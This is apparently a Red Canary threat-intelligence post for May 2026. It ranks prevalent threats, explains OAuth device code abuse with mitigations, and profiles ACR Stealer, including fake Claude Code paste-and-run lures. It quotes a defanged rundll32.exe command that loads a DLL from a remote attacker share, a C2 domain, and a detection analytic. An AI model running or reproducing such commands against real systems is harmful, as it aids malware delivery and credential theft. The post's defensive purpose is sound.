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Red Canary

Intelligence Insights: August 2026 | Red Canary Intelligence Insights: July 2026 | Red Canary Train, triage, repeat: The AI agent changing how we fight phishing | Red Canary Intelligence Insights: June 2026 | Red Canary The dual-use dilemma: Rethinking detection for remote access tool abuse | Red Canary How threat hunting evolves at scale Investigating suspicious AI workflows in Microsoft Entra Agent ID: Assistive agents Red Canary CFP tracker: May 2026 Investigating suspicious AI workflows in Microsoft Entra Agent ID: Agent’s user account Grading on a curve: How to assess a pentest Investigating suspicious AI workflows in Microsoft Entra Agent ID: Autonomous agents Investigating server compromises with cgroups: A Linux DFIR primer Spring cleaning your browser Red Canary CFP tracker: May 2026 How AI can streamline your security testing Intelligence Insights: April 2026 Identity, browsers, and node.js: Everything you missed in the Threat Detection Report miniseries New: Use response actions to update Zscaler policies and block threats AI in cybersecurity: The good, the bad, and the FUD Red Canary CFP tracker: April 2026 Scarlet Goldfinch’s year in ClickFix Intelligence Insights: March 2026 AI and browser threats stand out in the 2026 Threat Detection Report Moving up the Assemblyline: Exposing malicious code in browser extensions The RSAC 2026 Conference talks worth catching Hunting for malicious OpenClaw AI in the modern enterprise Breaking down a supply chain attack leveraging a malicious Google Workspace OAuth app Red Canary CFP tracker: March 2026
Intelligence Insights: May 2026
Susannah Matt · 2026-05-26 · via Red Canary

Intelligence Insights: May 2026

ClearFake is in command and ACR Stealer and GraphRunner debut in this month’s edition of Intelligence Insights

Highlights from April

Coming in at number 1 on this month’s top 10 most prevalent threat list is ClearFake, its first time claiming the top spot. ClearFake is an activity cluster that uses JavaScript injected into compromised websites to deliver malware via drive-by download techniques, often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste (paste and run, ClickFix, fakeCAPTCHA). Since its debut on our list in February 2026, ClearFake has stayed in the top 3, in large part due to the ongoing effectiveness of paste and run as an initial execution technique. ClearFake has delivered multiple payloads over time, including ArechClient2 and LummaC2; most recently, we’ve observed ACR Stealer, which debuts in this month’s top 10.

ACR Stealer, a malware-as-a-service (MaaS) information stealer written in C++ that has been active since 2024, makes its debut in a tie for 6th thanks to its use as a payload in recent ClearFake campaigns. You can read more about this threat below.

Also debuting in our top 10 and sharing the tie for 6th place is GraphRunner, a post-exploitation toolkit that uses the Microsoft Graph API to conduct reconnaissance, maintain persistence, and exfiltrate data via Entra ID accounts. While GraphRunner is intended for legitimate security testing and red team operations, adversaries can also abuse  its capabilities for malicious activities across Outlook, SharePoint, OneDrive, and Teams.

Red Canary and other researchers have seen a recent surge in OAuth device code abuse, where adversaries use tools—including GraphRunner—to exploit legitimate login portals to trick users into completing a device authentication grant. Successful completion yields valid access and refresh tokens that carry a satisfied MFA claim, bypass many conditional access policies, and can be exchanged across first-party Microsoft applications to expand scope without re-authentication. Similar tradecraft has been commoditized by phishing-as-a-service (PhaaS) platforms like Kali365 and EvilTokens, which package the same device code abuse into subscription-based affiliate offerings.

Some of our mitigation recommendations for this kind of activity include:

  • Block device code flows: Implement conditional access policies that lock down device code flows. This is one of the most effective controls to prevent device code phishing. It is rare for users to need device code authentication to perform their duties, so the impact on users should be minimal.
  • Harden device joining: Adversaries have been observed joining their devices to maintain persistence and bypass stricter conditional access policies. We recommend limiting this permission strictly to groups that need to join Entra devices as part of their duties.
  • Implement continuous access evaluation: Consider implementing continuous access evaluation (CAE) to enforce existing location-based conditional access policies in near real time
Month's rankThreat nameThreat description
Month's rank:

1

Threat name:Threat description :

Activity cluster that uses JavaScript injected into compromised websites to deliver malware via drive-by download techniques, often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste

Month's rank:

2*

Threat name:Threat description :

Information stealer designed to target data within web browsers and locally stored files on macOS systems, with the goal of accessing sensitive information including credentials, payment card data, keychain details, and cryptocurrency wallets

Month's rank:

2*

Threat name:Threat description :

Legitimate ConnectWise product that administrators use and adversaries abuse to remotely access and manage devices

Month's rank:

4

Threat name:Threat description :

macOS threat designed with the goal of accessing sensitive information including credentials, payment card data, keychain details, and cryptocurrency wallets

Month's rank:

5

Threat name:Threat description :

Red Canary's name for an activity cluster that uses compromised web sites to trick users into executing malicious code

Month's rank:

6*

Threat name:

ACR Stealer

Threat description :

Malware-as-a-service (MaaS) information stealer written in C++ that has been active since 2024

Month's rank:

6*

Threat name:

GraphRunner

Threat description :

Post-exploitation toolset for interacting with the Microsoft Graph API, enabling reconnaissance, persistence, and data exfiltration from Microsoft Entra ID accounts

Month's rank:

8

Threat name:Threat description :

Traffic distribution system, first observed in 2024, that uses compromised WordPress sites to deploy malicious code that may lead to malware families such as Rhysida and Interlock ransomware, D3F@ck Loader, Mocha Manakin, Mintsloader, and WARMCOOKIE

Month's rank:

9*

Threat name:Threat description :

Campaign involving the account takeover attack of the widely-used npm package axios on March 30, 2026, which resulted in two malicious versions being propagated through automated updates

Month's rank:

9*

Threat name:Threat description :

Legitimate remote access tool (RAT) that can be used as a trojan by adversaries to remotely control victim endpoints for unauthorized access

Month's rank:

9*

Threat name:Threat description :

Malware used to steal credentials and other data

= trending up from previous month
= trending down from previous month
➡ = no change in rank from previous month

*Denotes a tie

All about ACR Stealer

Also known as Amatera, ACR Stealer is marketed on Russian-speaking cybercrime forums by a threat actor named “SheldIO” and is assessed to be an updated version of GrMsk Stealer. ACR Stealer has several capabilities beyond its information stealing functions, including reconnaissance, anti-analysis checks, and keylogging. It can also download and execute additional payloads.

ACR Stealer has been delivered via ClearFake campaigns leveraging paste and run for initial execution since at least March 2025. One such campaign we observed in April 2026 used fake Claude Code GitLab pages like claude-desktop[.]gitlab[.]io to trick users into following malicious copy and paste instructions under the guide of installing Claude Code.

Fake Claude Code app pages for ClearFake paste and run lure

ClearFake paste and run lure, image from https://www.trendmicro.com/en_us/research/26/e/installfix-and-claude-code.html

In another campaign we observed in April 2026, the adversary behind ACR Stealer distributed it wrapped in a Go-based reflective loader to sideload a malicious DLL via rundll32.exe. This command seen early in the execution chain attempts to load a DLL from a remote network share:

"C:\Windows\system32\rundll32.exe" \\sphere-api.dialectosphere.in[.]net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1”

Once successfully downloaded, the primary ACR Stealer DLL loads and executes in memory. One way to determine successful ACR Stealer execution is outbound command and control (C2) communications to related infrastructure, for example cw.compactedtightness[.]cfd (VirusTotal), often using rundll32.exe.

ACR Stealer attack chain

One example of delivery and execution of ACR Stealer in April 2026 

ACR Stealer’s use of rundll32.exe to make outbound network connections gives us a detection opportunity.

Detection opportunity:rundll32.exe executing without any command-line parameters and establishing a network connection

This pseudo-detection analytic identifies rundll32.exe executing without any command-line parameters and establishing a network connection. It is highly unusual for rundll32.exe to execute without any command-line parameters present and with a network connection. This behavior is not inherently evil, but is common behavior in the execution of malware, including ACR Stealer. Additional investigation should focus on any network connections, the surrounding processes, and potential injection into rundll32.exe.

process == (rundll32.exe)  
&&
command_line_includes (“”)*
&&
has_network_connection

Note: “” indicates a blank command line.

2026 Threat Detection Report

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